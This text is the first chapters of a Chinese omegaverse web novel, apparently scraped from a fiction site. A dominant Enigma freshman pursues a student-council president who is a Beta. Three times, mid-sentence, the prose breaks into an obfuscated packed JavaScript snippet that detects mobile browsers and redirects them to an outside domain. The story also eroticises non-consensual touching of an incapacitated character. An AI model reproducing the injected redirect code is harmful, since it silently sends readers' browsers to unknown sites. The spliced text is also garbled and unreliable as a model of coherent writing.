《恋爱中,被钓系年下觊觎了》 1. 第1章 九月,烈日炙烤着大地,蒸腾的热浪使得教学楼都扭曲了轮廓。 迎新处临时搭建了一个遮阳棚,风扇慢悠悠转着,丝毫没有起到降温的作用。 棚内学生会和志愿者一个个都汗流浃背,手上的工作却分秒没停。 坐在棚中间的是学生会会长苏拢烟。他是个Beta,模样看起来很斯文,戴着一副细框银边眼镜,镜链垂在泛着潮红的脸颊两侧,面对新生时唇边总是噙着腼腆的笑意,笑容很干净,却让人不由得联想到一些美好又下流的东西。 “学生证尾号是47,信息工程专业,对吗?”苏拢烟的声线很温润,尾音中又裹着几分清冷,听得桌对面的Omega新生指尖一颤。 “是、是的。学长。”新生嘴里应着,目光不由自主落在苏拢烟用来发声的部位——白皙的脖颈上,喉结如珍珠一般,粉乎乎的,形状很精致,随着吞咽的动作上下翻滚,幅度很小,但上面的那颗浅褐色的小痣太过惹眼。 莹莹的汗珠缀在小痣上,昳丽,柔媚,勾人至极。 新生看得失神,苏拢烟假装没有察觉他的失态,只是用钢笔笔盖敲了敲桌面,提醒道:“核对没错的话,就下一个。” 一个Alpha新生急哄哄凑上前来,办完手续的Omega则一步三回头的离开了队伍。 Alpha刻意俯身,把表格抵在苏拢烟胸口的位置,试图擦蹭苏拢烟的手指。 他的手的确很漂亮,指节纤长,纹理很淡,像上好的羊脂玉雕琢而成,指尖圆润,指甲盖是淡淡的粉色,净得泛光。 苏拢烟似乎早已预判了他的小心思,做了个将钢笔从右手换到左手的动作,继续书写,避开了触碰。 “学长,我这里好像填错了,要不要……”Alpha不甘罢休,愈发凑近苏拢烟,想要找点话题拉长接触的时间。 苏拢烟微微蹙起眉,示意身旁的志愿者帮忙校对,自己则起身离开了座位,借口去买矿泉水。 苏拢烟走进教学楼后面一条僻静的巷子,环顾了一下四周,在墙根处停下,日光拖曳着他颀长的影子,影子的主人掏出打火机,低头,熟练地点上一支烟。 督导员怀疑苏拢烟抽烟不止一两天了,但从未在“作案现场”逮到过他,他总是形单影只,偶尔和Alpha男朋友共处也不便打搅,所以也没个证人。 苏拢烟靠着墙壁,深深吸了一口,两片嫣红的唇瓣微微张开,唇珠凸起,吞云吐雾,灵活的舌尖又在唇边舐弄了一番,仿佛在回味薄荷爆珠混合尼古丁的清醇。 “去你的!开车不长眼啊!” 骤然炸响的喧哗声从巷子拐角处传来,苏拢烟摁灭烟头,淡然走出巷口,他没有看热闹的好奇心,只是不想被人发现自己正在抽烟。 巷外横着停了一辆银河蓝车身的敞篷超跑,车门微敞,下来一个银灰色狼尾辫的少年。生面孔,大抵也是来报到的大一新生。 少年身量很是高硕,尽管狼尾辫为他平添了几分张扬与不羁,可眉宇间丝毫不见傲气,反倒透着讨人亲近的乖巧感。 他从书包侧袋里摸出一根棒棒糖,叼在嘴边,糖纸又被他塞回侧袋里。 “小子,是谁不长眼睛?”少年一手插进裤兜,一手压上刚才骂他的那个穿格子衬衫的男生肩膀,“蹭到你了?”,语气低柔,威慑力却不言而喻。 男生推了推眼镜框,抱紧胸前的书册,豆大的汗珠沿着太阳穴滚落,他一边摇头一边后退:“没、没有。抱歉,同学,是我自己没长眼睛。” 男生后退一步,少年就逼近一步,居高临下地俯视他,一边的唇角微妙地挑起,直到男生被他堵到墙边,退无可退,少年拈起他刘海的发尾,嗅了嗅,拖腔带调地评价道:“是Beta的味道。” “好难闻。”说着蹙起了眉,嫌弃地松开指尖,唇角的笑意却未减半分。 突然,一颗篮球飞也似地冲向少年,一个壮实的Alpha男生骂骂咧咧地叫嚷着:“祁禁,少他妈欺负同学!” 祁禁没有回头看他,压在Beta男生肩头的手掌只是向上一撑,便稳稳抓住了从身后飞来的篮球。 他的手掌很大,轻轻松松就覆盖了大半个球面,掌心应该有薄茧吧,被这样的手触碰肌肤的话,只要他稍稍摩擦,就会浑身燥热。 祁禁抓着球,转过身,此时苏拢烟看清了他的脸。 少年肤色皎白,像近乎透明的霜雪,神情冷静克制,五官轮廓柔和,浓墨化不开似的睫羽之下,是一汪清水般的、氲着雾气的深眸。眸底藏掖着几分稚气,带出故作的深沉,半晌,他冷冷问道:“你谁啊?” “祁禁,装什么清高。连我都不认识了?”Alpha男生阔步朝他走来,身后跟着一个矮小干瘦的Omega。 Omega仗势扬了扬下巴:“他是高中时期被你打断三根肋骨的……” “住嘴!不会说话就少说话。”那个Omega话没说完,就被涨红了脸的Alpha男生堵住了嘴,“祁禁,老子今天看你不顺眼,来干一架!” 祁禁叼着棒棒糖,唇角又是一勾,弯下腰运了一会儿蓝球,由于运球速度过快,衣摆时不时被风带起,让人能窥见他那一截紧实的腹肌,以及腹肌之下线条流畅的人鱼线。 “咻——”不等Alpha男生反应,篮球便像一阵飓风,擦过他的耳边,重重地砸在教学楼的墙壁上。 “这是给你的初犯警告,下次砸的可就是你的脑袋了。”祁禁反手拎起书包,摁下超跑钥匙,没再看Alpha男生一眼,径直走向了招新处。 男生愣愣地僵在原地,还未从方才的惊魂一擦中回过神来。一旁的Omega拽了拽他的衣角:“秦知聿,我们走吧。” - 苏拢烟在烈日下踩着自己的影子朝遮阳棚走去。翠绿的藤蔓已经爬到了教学楼二楼的窗边,抬头望去,像极了大海深处瑰丽浓郁的波澜,不知怎的,这片藤蔓让他联想到那个少年——似被深海供养的水母,纯澈而诡秘。 他甚至记住了少年的名字——祁禁。 苏拢烟在迎新处的折叠椅上坐下,取出手帕擦了擦沾在手上的水珠,他刚才顺路洗了一会儿手,用的是带香氛的洗手液,为了掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575194|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去残留在指缝间的烟味。 又戴上那副银丝边眼镜,镜链摇曳,腼腆的笑靥重新展露在唇边,带着催情的意味,尽管他不是有意的。 “我是大一新生祁禁。”一个清亮干净的声音蓦地撞进了耳廓,苏拢烟下意识扶了一下镜框,瞧见少年正低着头,从书包里拿出录取通知书和表格,双手递给苏拢烟。 苏拢烟接过他手里的东西,又抬眼看了看祁禁,可以说是端量了片晌。 此时他才察觉,少年的长相真的又纯又欲,五官是那种特别打眼的秾艳,单是眼型就十分出挑,看似无辜而下垂的眼尾,眼神中却透着不达眸底的邪气。 好招人。 苏拢烟及时收回目光,轻轻地咳嗽了一声,压低声线道:“运动训练专业,篮球方向。” “嗯。”祁禁应声。 “性别是……Enigma?”苏拢烟诧异地再次抬起头。 少年勾了勾唇,声音慵懒的回问道:“有什么不妥吗?” 他身后的新生连同遮阳棚里的高年级学生都不由露出震惊的神色,议论声此起彼伏。 “难怪那么帅,原来是Enigma。” “对啊,好罕见的!” “不知道我有没有机会和他成为朋友。” “听说Enigma可以标记Alpha,好想尝尝他的信息素啊。” “我猜是雪松味的。” “错了,是苦艾酒混合火药味。”少年抱起双臂,漫不经心地打断了他们的臆想。 一个大眼睛女生突然撞上祁禁腰侧,她看起来毫无愧意,眼眸笑得弯弯的:“你好,祁同学。我是校报记者,是个Omega,你可以称呼我‘容容学姐’。现在,请接受我的灵魂三问。开始咯!” “你喜欢什么样的Alpha,或者Beta?你觉得你和我们学生会会长,就是坐在遮阳棚中间那位苏拢烟学长,谁更帅?” 祁禁对女生做了个打住的手势,垂下眼眸,好像在思索什么,然后重复起苏拢烟的名字。 舌尖不时地抵向上颚,不明情况的还以为他在品鉴名字的寓意,最后他含糊不清地评价了两个字——贱受。 眸色一沉,便朝苏拢烟淡淡地睥睨过来,眉宇间尽是漠然,似乎还透着莫名的怜悯。 棚内的空气凝滞了一瞬,苏拢烟将祁禁的资料归拢到桌边那一沓厚厚的文件夹里。 “祁同学。”苏拢烟伸手指向不远处另一个遮阳棚,“你需要去那边的棚子领取军训服。” “知道了,学长。”祁禁反手将书包背在肩侧,径直离去,没有回头。银灰狼尾辫随着傍晚的倏风扬起,高硕的身影消失在渐渐息声的蝉鸣中。 贱受? 苏拢烟蹙起眉心。 此时,他的Alpha男友闻野早已贴心地等候在新生队伍末端,朝苏拢烟扬了扬手里的饭卡。 远远望着男人凌厉的下颌,上面应该还缀着清爽的胡茬。每次被他的胡茬磨蹭手心,苏拢烟都会夹紧双腿,呼吸不匀。 想到这,苏拢烟的喉结细微地滑动了一下。 2. 第2章 燥热随着最后一缕日光沉入地平线而渐渐褪去,只留下空气中黏腻的余温,和操场上传来的模糊哨声。 苏拢烟合上手里的新生资料夹,长长舒了口气,指尖抵着太阳穴揉了揉,眼镜链垂在嶙峋深陷的锁骨上,随着他的动作轻轻晃动。 “累坏了吧?会长大人。” 一个低沉的声音附上苏拢烟的耳垂。他的耳朵很敏感,被这股温热的荷尔蒙气息这么一熏染,身子不由得软了几分。 苏拢烟回过头,看到闻野正弓身站在自己座位旁,手臂上的肌肉青筋虬结,来回磨蹭着苏拢烟的耳尖,幅度很小。苏拢烟的呼吸变得急促起来,身体也开始发烫,他闷哼了一声,想要推开闻野,却怎么也推不动。 苏拢烟只得站起身,嘴角的弧度抬了几分:“还好,招新工作都完成了。等很久了?” “不久。”闻野接过苏拢烟手里的那一沓厚厚的文件夹,另一只手顺势揽住那截细软的腰肢,稍稍用力,将他拉得离自己更近了一些,“看你忙,没打搅。” Alpha的体温透过单薄的衬衫布料清晰地传递过来,带着淡淡的雨后森林般的味道,干净、清爽,是闻野的信息素——水杉。苏拢烟很喜欢这个味道,有着沁人心肺的舒爽感。 “走吧,饭点时间到了。”闻野比苏拢烟高出半截身,Beta后脑勺的发丝刚好贴在他胸口的位置,他伸手抚了抚,手又放回到腰间。 苏拢烟颔首,被他半搂着进了食堂。 正值用餐高峰期,食堂里乌泱泱的,人头攒动。饭菜香混杂着不同的信息素弥漫过来,苏拢烟不自觉低头屏息。 闻野熟门熟路地带着苏拢烟找了个靠窗的角落,他知道自己的Beta男友不喜欢热闹,他让苏拢烟先坐下,自己准备去打饭。 “老样子?”闻野问,语气低柔。 “嗯,谢谢。”苏拢烟应道,目光跟随着闻野高大魁硕的背影,直至那道身影消失在打饭窗口的人流中。 他摘下眼镜,轻轻揉了揉鼻梁,指尖似乎还余留着微妙的触感——是下午拿起祁禁的新生资料时,纸张擦过掌心带来的,光滑冰凉的触感。 带着Enigma的体温传递至指腹。 脑海中再次回想起那句轻飘飘的评价:“贱受。” 苏拢烟的眉头又不自觉蹙起。这个词显然是侮辱性的贬义词。祁禁当时是在说自己?还是在评价某种普遍现象?如果说的是自己,可一个刚见面的大一新生为什么会用这种词形容自己? 苏拢烟使劲甩了甩头,试图将这个令他感到万分耻辱的想法驱逐出去。 或许只是少年人习惯性口无遮拦,又或是顽劣的试探。可他不喜欢这种感觉,仿佛自己成了一件可以被随意评价的物品。 “想什么呢?眉头皱得这么紧。”闻野端着餐盘走过来,他将饭菜放在桌上,几道菜都是苏拢烟常吃的。 虾仁滑蛋,油菜炒香菇,烧汁脆皮豆腐,山药拌木耳…… 他口味清淡,吃不了咸辣。 “没什么,就是有点累。”苏拢烟拿起筷子,勾唇笑了笑,试图掩饰心底的烦乱。 闻野没有继续追问,他用筷子夹起一只又嫩又香的虾仁放进苏拢烟碗里:“快吃吧,补充体力。” “好,你也吃。”苏拢烟夹了一块豆腐给闻野。 两人安静地吃着饭,偶尔交流几句,大多是闻野问,苏拢烟答。他俩的相处模式一直如此,温和,平静。闻野总是体贴周到,给足苏拢烟安全感。 苏拢烟慢条斯理地吃着,时不时抬头看向闻野,今天男友的领口敞着,脖颈上拉出凌厉的线条,喉结饱满突出,再往上便是清晰的下颌线,胡茬细密而短,为男人平添了几分不属于这个年龄的成熟与内敛。 “怎么?想被蹭?”闻野轻笑,用手指点了一下苏拢烟的鼻尖。 一股燥热感袭来,浅淡的嫣色覆上苏拢烟雪嫩的脸庞,他低下头慌乱地扒了几口饭,桌子底下,两条腿悄无声息地夹拢。 闻野突然倾身压了过来,带着薄茧的指腹碾过脆弱的唇瓣,粗粝的触感,弄得苏拢烟眼尾泛红。 温热的Alpha体温裹上唇角,那根手指甚至跃跃欲试地,想要探入唇齿之中。闻野用满是挑弄又挟着情欲的气声扫过苏拢烟的耳垂:“你的嘴角……粘到米粒了。” 声音喑哑,指腹依旧有意无意地摩挲着那两片娇嫩的嫣唇。 好想吮弄啊……闻野的目光沿着唇的轮廓来回流转,指尖又拨弄了一番挺立的唇珠。苏拢烟紧张得嘴唇微张,急促喘息,这个视角,刚好可以看到他的舌尖,粉粉嫩嫩的,藏在清澈的唾液里,瞧起来很是灵活。 “我要去洗澡了。”苏拢烟僵着身子,侧头避开了这过分的亲昵,而后戴上眼镜,起身,匆忙离开饭桌。 “小烟。”闻野在背后喊他。 苏拢烟偏过头,没有转身,站在原地静静地等他继续说些什么。 “明天晚上有空吗?一起去看电影。” “明晚要办迎新会。”声音随着苏拢烟远去的身影渐渐淡去。 - 水汽氤氲的公共澡堂里,沐浴露混合着洗发水的香氛漫溢在潮湿的空气中。 对苏拢烟而言,这里是难得卸下学生会会长肩上的重负、洗去疲惫的地方。 忙招新忙了一整天,肌肤有点黏腻地贴在衬衫内里,他只想尽快冲个热水澡,放松一下紧绷的神经。 他光着脚,走进独立隔间,拉上门帘。花洒的龙头被拧开,热水瞬间淌下,冲刷着白皙纤弱的肩背,水珠顺着腰腹处的人鱼线一颗颗碎在瓷砖表面。 他阖上眼帘,享受着这份宁静与舒适。 就在此时,一股危险而霸道的气息侵入了恬静的空间,好似烈酒混合着硝烟,撕开轻软的水雾,蹂躏着毫无防备的Beta。 这味道像藤蔓瞬间缠绕上来,勒紧他细而柔的脖颈。 是信息素的味道! 苏拢烟身为Beta本不应该对信息素有感觉,可这股味道太过浓烈,仿佛实物一般,蛮横不讲理地窜入他的鼻腔。 他被蹂躏得太狠了,双眼失了神,身体好似陷入一张精密的网,想要挣脱却怎么也使不上劲,勉强用手掌撑上墙面。 水流还在哗哗作响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575195|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在他听来水声闷闷的,好像离自己很远。不一会儿,他开始浑身酥麻,脸颊滚烫,连耳垂都在发热,莹白转为绯红,像是被人捏肿了,细嫩的软肉缀着水珠,湿哒哒的,诱人得要命。 糟了!是Enigma在释放信息素。怪不得会……可是,浓度也未免太高了啊。必须尽快离开这里。 苏拢烟用手擦了擦蕴着水雾的眼睛,此刻头脑晕沉,实在看不太清四周,好在余光扫到墙边挂钩上搭着一块类似毛巾的藏青色的东西,看样子十分宽大,可能是谁忘在这的,顾不得这么多了,他抓过毛巾胡乱系在腰间。 毛巾带着陌生的皂香,湿透了,所以触感凉凉的,紧紧贴合在他的肌肤上,他不自禁轻颤了一下。 他一边系着毛巾,一边迈开步子,还没系紧结头,脚底便踩上瓷砖上没化开的泡沫,纵身滑倒,“唔——”,轻微的惊呼声卡在喉咙里,预想中的疼痛并未袭来,一只硕大的手掌及时撑住了他单薄的蝴蝶骨,力度缱绻。 沁凉的掌温使得苏拢烟觉得好痒好难耐,他羞赧着双颊,不知该说点什么来表达谢意。突然,一阵温热的鼻息萦绕他的耳旁,本就潮红的小软肉被裹得灼烧起来,就连白生生的耳尖也泛起淡粉色,酥麻滚烫。 激起一阵战栗。 “学长。”声腔冷淡,轻唤了一声苏拢烟,音色很干净,总觉得在哪里听过,“你拿我毛巾干嘛?”,尾音勾起,带着几分挑衅,又像在撩。 苏拢烟浑身一抖,蓦地抬起头,蒙蒙的水气模糊了视线,他勉强看清那人的脸,冷白的肤色若隐若现,额边散落着几缕银灰色的刘海,被水濡湿了,水珠顺着矜傲扬起的下颌滚落,滴在苏拢烟锁骨处的阴影里,纤弱的身体再一次被引得阵阵战栗。 最清晰可见的,是那张薄薄的弓唇,此刻,唇角微微漾开,清纯的脸配上这邪魅的笑意,扑面而来的压迫感让苏拢烟喘不过气来。 他想要躲开他,可是身子太软了,连抬手的劲都使不上,Enigma的信息素还在不断扩张,极具侵略性,苏拢烟快要被熏得融化了。 那人细细打量着胸口这个可怜的Beta,目光毫不避讳地袭上他红扑扑的小脸、盈出泪珠的眼角,以及轻颤着的身子,甚至还低头琢磨了一眼苏拢烟用手裹在人鱼线周围的毛巾。 “学长看起来不太好。”少年冷声,听不出怜悯或是同情,他故意停顿了半晌,欣赏着苏拢烟的无措,然后拖腔带调地,语气中充满了施舍的意味,说,“求我,我就帮你人工呼吸。” 苏拢烟闻声,唇瓣微微张开,吃力地说出两个字,“不……要”,喑哑得像声线碎掉了一般。 “好的。”少年似乎对这个答复并不感到意外,他非但没有松开揽在苏拢烟背脊上的手,还抬起另一只手,食指的指尖缀着水珠,精准按在了苏拢烟喉结滚动时最敏感的地方。 指腹浸润了水意,在喉结那颗小痣上挑弄,打圈,逡巡。 “没办法咯,为了救你只能这么做了。”说着,少年又往小痣上轻轻施压。 脆弱的软骨抑制不住地上下滑动,带动那颗小痣,与少年的指腹来回擦蹭。 3. 第3章 酥麻感顺着苏拢烟的喉结一路蜿蜒向下,涌入四肢百骸,他颤抖着身子发出一声低低的、压抑的呜咽。 这感觉太磨人了。 …… 终于,胸腔剧烈起伏,他张了张唇,开始急促喘息,空气似乎变得清新起来,徐徐灌入口鼻。眼尾的潮红也渐渐褪去,洇出一滴泪来。 混沌的意识中,闪现了一个念头——是不是该向面前这个抢救自己的少年道谢? 当少年的脸庞在视野里逐渐清晰,苏拢烟认出了他,是祁禁,那个Enigma大一新生。 所以,那股苦艾酒混合火药味的信息素是他释放出来的?!才使自己陷入这般狼狈又窘迫的境地。 捋清思绪后好似有一头凉水浇醒了苏拢烟。 而少年的神情看起来无辜又无害,正专心致志地,捻弄他喉结上那颗伶仃的小痣,似乎还玩上瘾了。 指尖的动作十分狎昵,一会儿轻柔一会儿肆无忌惮。 小痣周围的皮肤被玩得泛红。他甚至还用指节夹弄小痣,缱绻至极。 “唔——”苏拢烟身子颤抖得愈发厉害,喉结狠狠凸起,晕出淡淡的柔粉色,小小的软骨沾满了淫逸的意味,几乎是同时,心猿意马的感觉蔓延至全身,满得快要溢出来。 苏拢烟好想躲,可背后只有一堵冰冷的墙壁,身前是祁禁宽阔的胸膛,肌肉比墙还坚实,掐在软腰上的那只手纹丝不动,将他牢牢禁锢在这方寸之间。 …… 指尖薄茧带来的粗粝磨蹭骤然停止。 残留在喉结上的痒麻感却像烙印,打在苏拢烟的骨髓里,使得战栗的余韵挥散不去,一阵一阵地。 澡堂里水气氤氲,潮湿的空气放大了五感,苏拢烟的身子彻底软了下来,每一寸肌肤都像被那股Enigma的信息素细细舐弄过,滚烫得惊人。 就在苏拢烟觉得自己快要溺毙在这片燥热中,祁禁的声音像寒冰,猝不及防地抵上了他的耳尖。 语气好奇,咬字暗昧,问道:“他玩过你这里吗?” 他…… 苏拢烟心中一凛,瞬间灵清了些许。 这个“他”不言而喻,指的是他的Alpha男友,闻野。 寒意自足心窜上来,瞬间熄灭了通身的溽热。祁禁认识闻野?他怎么会知道自己有男友?今天分明是生平头一次见祁禁…… 纷乱冗杂的心绪在苏拢烟脑海中揉作一团麻,诧异,无措,被窥伺的羞耻感,让他真的生气了,脖颈的肌肤都染上了一层薄薄的绯红,蔓延至耳垂。 他意识到,祁禁口中的“玩”字充满了轻佻与狎弄,又特指“这里”——方才被祁禁又揉又蹭、几乎留下印记的喉结,那颗小痣还在生生地发酸发胀。 他不知该如何回应,眸色阴沉了下来。他素来极少在人前发怒,可面前这个少年,太讨嫌了! 祁禁倒是饶有兴致地端量起苏拢烟,他的每一个细微的表情变化,从错愕到羞赧,再到此刻的愤懑无措,都让祁禁想要变本加厉地欺负这位Beta学长,就像摔碎一件被精心修复的古董瓷器。 毕竟,苏拢烟的沉默,着实取悦了他。 祁禁的唇角勾起极淡的弧度,同时,手掌松开盈盈一握的窄腰。苏拢烟一时间没站稳,急忙伸手去扶墙,而腾出的恰好是攥着腰间那块毛巾的手。 好在毛巾没掉。 “哦对了。”祁禁顿了顿,视线游走在苏拢烟的腰腹,那里随着苏拢烟急促的呼吸,一起一伏的。 “学长腰上的那块毛巾……”祁禁拖长尾音,使得苏控烟不自禁绷紧了腰腹,人鱼线的轮廓越发清晰。过了半晌,祁禁才慢条斯理地,用很无辜、充满少年感的声音补充完后半句,“是不是该还给我了?” 水珠顺着苏拢烟的发梢“滴答”一声落在锁骨上,他光赤着的脚往后挪了一步,腰间那块毛巾,此刻像烫人的烙铁灼烤着他。 祁禁的声音还是清清亮亮的,他歪了下头:“怎么了?学长。” 他在说什么鬼话!怎么能还给他!当下这个样子,毛巾是唯一用来遮蔽身体的东西,苏拢烟的脸颊倏然滚烫了几分,赧红得不像话。 可是,祁禁看向自己的眼神却干净得像个不谙世事的孩子,好像完全不能体谅他的苦衷。 不能还,现在真的还不了。 苏拢烟倒吸一口凉气,努力压住羞耻感与心头的慌乱,尽量让自己的声音听起来平稳一些,虽然尾音还是颤颤的。 他避开祁禁的视线,目光落在地面朦胧的水气上,“……祁同学”,他斟酌着措辞,喉结伴随着吞咽的动作上下滚动,由于方才被挑弄了一番而有些吃痛,“毛巾,能不能……先借我用一下?” 话一说出口,苏拢烟觉得脸更烫了,他知道,面前这个少年是故意想让他难堪的,可他眼下只能低头。 祁禁挑了挑眉,抱起双臂,倚着淋浴间的隔断,水雾模糊了他深眸,睫毛上还缀着细密的水珠,像融开的松烟,但也掩不住眼底的狡黠。 “借?”他撇起嘴角,“学长,这可是我的贴身毛巾。” 眸光意有所指地在苏拢烟的腰胯上流转:“被学长用在那种地方,好像不太妥吧?” 苏拢烟顿然面色煞白,又迅速染上一大片绯色。 太羞耻了!这人简直……可恶至极! “你——”他张了张唇瓣,只发出半个字音,便生生忍了回去,他知道自己说什么都不占理,浑身的血液凝固住了一般。 祁禁将苏拢烟那副眨一眨眼就会落下泪来的委屈模样尽收眼底。长辈眼中的乖孩子、同学心中的好榜样,温柔,得体,完美得无懈可击,这样的苏拢烟在他面前,却窘促得像块奶油蛋糕,软软糯糯,在嘴里一抿即化,溢出丝丝馨甜。 两瓣微张的嫣唇也因为主人的不安而愈发绵软,红透了的唇珠翘得高高的,贝齿之下,粉嫩幼小的舌尖为了缓解尴尬,轻轻抵上了唇珠。 见状,祁禁抱着双臂的手收了收:“学长,不是我不肯帮忙。只是学长你也知道,我们Enigma的东西,不能随便借用,沾上了残留的信息素,会很麻烦。” 他也知道麻烦?刚才胡乱释放信息素的是他,肆意玩弄人喉结的也是他,怎么不说麻烦? 苏拢烟咬了下唇角,思量了片晌,“那你要怎样才肯借给我?”,声音很轻,每一个字都饱含着羞耻与无奈。 祁禁倾了倾身,Enigma的荷尔蒙气息瞬间侵占了苏拢烟的鼻息,“也不是不行”,祁禁压低声线,“不过,学长得答应我三件事情。” “三件?”苏拢烟蹙起眉,警惕地看向祁禁。 “嗯。”祁禁点了点头,“你是学生会会长,所以第一件事是以你的身份跟我们教官打个招呼,就说明天的军训我不参加了。” 苏拢烟的眉头蹙得更深了,谆谆道:“军训是每个大一新生必须参与的活动,除了训练体能,还能提升自律性,重点是,可以结交新朋友。你不可以不参加。” 说话间,苏拢烟腰间的毛巾猝不及防地垂落了几分,他急忙伸手去扯,被祁禁一把攥住,沁凉的掌心压上他的腕骨,稍稍施力,有点痛,动弹不得了。 “那你得告诉我,为什么不参加军训。”苏拢烟的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他用胳膊抵着床板,勉强坐起身,发现身上套着一件不属于自己的黑色T恤,很是宽大,但面料十分柔和,做工也很精良,胸前有一个小小的LOGO,好像是意大利文。 出于好奇,苏拢烟特意用手机上的搜索引擎查了一下,是一家专做潮衣、每款都是限量版的小众高定品牌。 很显然,这件T恤是祁禁的。自己当时应该是晕倒了,被他送了回来。 室友从上铺探出个毛茸茸的脑袋,眨巴着深海蓝的眼眸,好奇问道:“小烟会长,昨晚送你回来的那个男生……看起来年纪好小,但是帅得一塌糊涂,你什么时候认识的新Alpha?他和你是什么关系呀?该不会是那种……” 室友是个混血Omega,名叫珀尔。 “一个大一新生。昨天头一回碰面。”苏拢烟平静地打断了他,手里不忘给祁禁的教官发请假消息。 “头一回吗?那你还穿他的衣服?”珀尔一面怪笑着一面将脑袋塞进枕头底下,还剧烈地抖了抖腿,震得床铺来回晃动。 此时,宿舍门被敲响了,节奏不疾不徐,声音很轻。 苏拢烟微微一怔,下意识扯了扯垂落在膝下的衣摆,正准备下床开门,不慎扯到了脖颈上那节脆弱的软骨,一阵撕裂般的痛楚袭来。 正当他强忍住呜咽,珀尔又把脑袋探了出来,他二话不说,轻巧地从上铺爬下。 “是谁呀?”珀尔边问边开门,随着门缝越拉越大,一个高硕的身影逆着光笼罩住珀尔。 4. 第4章 “啊,是你。”珀尔深海蓝的眼眸里顿时盛满惊喜。 日光和阴影拼接出祁禁高硕挺秀的轮廓,他就这样似雕塑般伫立在门口,睫羽如蝶翼轻颤着,目光越过珀尔的头顶,径直落在苏拢烟身上。 苏拢烟攥着床杆支起身子,套上一件白衬衫,领口没有扣上纽扣,好让饱受摧残的喉结软骨透透气,又从枕边摸出眼镜盒,戴上那副银边细框眼镜,镜链随着他低头的动作垂落在颈侧,微微晃动。 “小烟会长”,珀尔见祁禁不搭理他,只能兴致缺缺地挤到苏拢烟床边,指尖不自禁戳了戳他领口那抹艳冶的绯色,上面沾满了暧昧的指痕,“你的小Alpha下手好狠喔”。 祁禁闻言,没有任何神色变化。 倒是苏拢烟羞赧着脸颊泛起潮晕,“不要胡说”,他侧身避开满脑子八卦思想的室友,镜片后面,乌黑潋滟的桃花眼低垂下去,眼尾被嫣色洇透,转而又酝酿了一会儿,将眸光折向宿舍门口。 祁禁今天穿了一件纯白T恤,袖口高高挽起,卷至肩头,露出肌肉线条流畅的手臂,左手手腕抵着一颗篮球,球身的另一边靠在他的胯上。少年朝苏拢烟扬了扬下颌,颈脖上细密晶莹的汗珠很是晃眼。 “早上好,学长。”他自始至终都没有朝苏拢烟的室友——那个娇俏的Omega——投以目光。 苏拢烟抬起发软的双腿翻身下床,走到一旁的书桌前,将两把椅子分别摆好,并拉开一段微妙的距离:“过来,坐下。” “好的,学长。”祁禁大步流星地走到苏拢烟身旁,在另一把椅子上坐下。 苏拢烟从抽屉里拿出笔记本,翻开第一页,上面的字迹娟秀工整。 倏然间,祁禁倾身压了过来。苏拢烟应激似地靠上椅背,想要躲避,喉结翻涌,一阵撕痛感袭来。 “呜——”眼尾又洇红了。 而祁禁正目不转睛地盯着他喉结上那颗小痣,靡丽,饱满,已经被玩到充血,娇艳欲滴,如果此时再去捻弄的话,手感一定比昨晚更好。 祁禁的手已然搁上桌面,食指指节动了动,隐忍得好难耐。 苏拢烟察觉到他的心思,指尖攀上衬衫领口,扯了扯衣领,做了个遮掩的动作。 祁禁垂下眉尾,面带失落之色,匐在桌子上,余光瞥了一眼身后探出半个脑袋的珀尔,双眼放空道:“学长答应过我的,要一对一辅导。” 珀尔闻言,耳朵竖得更尖,踮着脚尖蹭了过来,不曾想被祁禁用篮球抵住了额头,蓦地吓了一跳。 少年的眸色暗了下来,声音冷得像淬了冰:“麻烦回避。” 珀尔委屈巴巴地蹙起眉心,撇了撇嘴。 苏拢烟见状,侧过身面向珀尔,眼神温和,柔声道:“珀尔,帮我去买盒香薰吧,给这个‘小Alpha’用的,最好是海盐味的。” 珀尔耷拉着肩膀,低低地“哦”了一声。 待宿舍门“咔哒”合上,祁禁垂下眼帘,用专注的目光看向那本摊开着的笔记本:“开始吧,学长。” 少年的眼睫在日光下闪着璀璨的光晕,那双漆黑的瞳仁在浓密的阴影里显得过分纯澈,毫无阴霾。银灰色狼尾辫今天梳得纹丝不乱,只是沾了汗水,还有点湿漉漉的。他早上应该是去打篮球了。 …… “控制信息素的训练技巧有三个。第一个是每天在固定时间段释放微量的信息素。”苏拢烟的指节卡着钢笔,笔尖在“清晨、深夜”下方划了一条横线。 祁禁盯着被划线的两个时间段,天真而狡黠地问道:“现在算是固定时间段吗?” 说着,便托起下颌,仰头垂眸,端量起苏拢烟那张恬静昳丽的脸,似乎是想看看这巴掌大的脸上会有什么样微妙的表情变化。 笔尖在纸张上晕染开一小团墨迹。他果然脸红了! 苏拢烟紧张得不自禁屏住呼吸,将钢笔搁置在一旁,低着头,沉声斥道:“集中注意力。” “现在试着释放百分之十浓度的信息素”,苏拢烟语气冷淡,“我从一数到十,计时结束你就收敛腺体。” 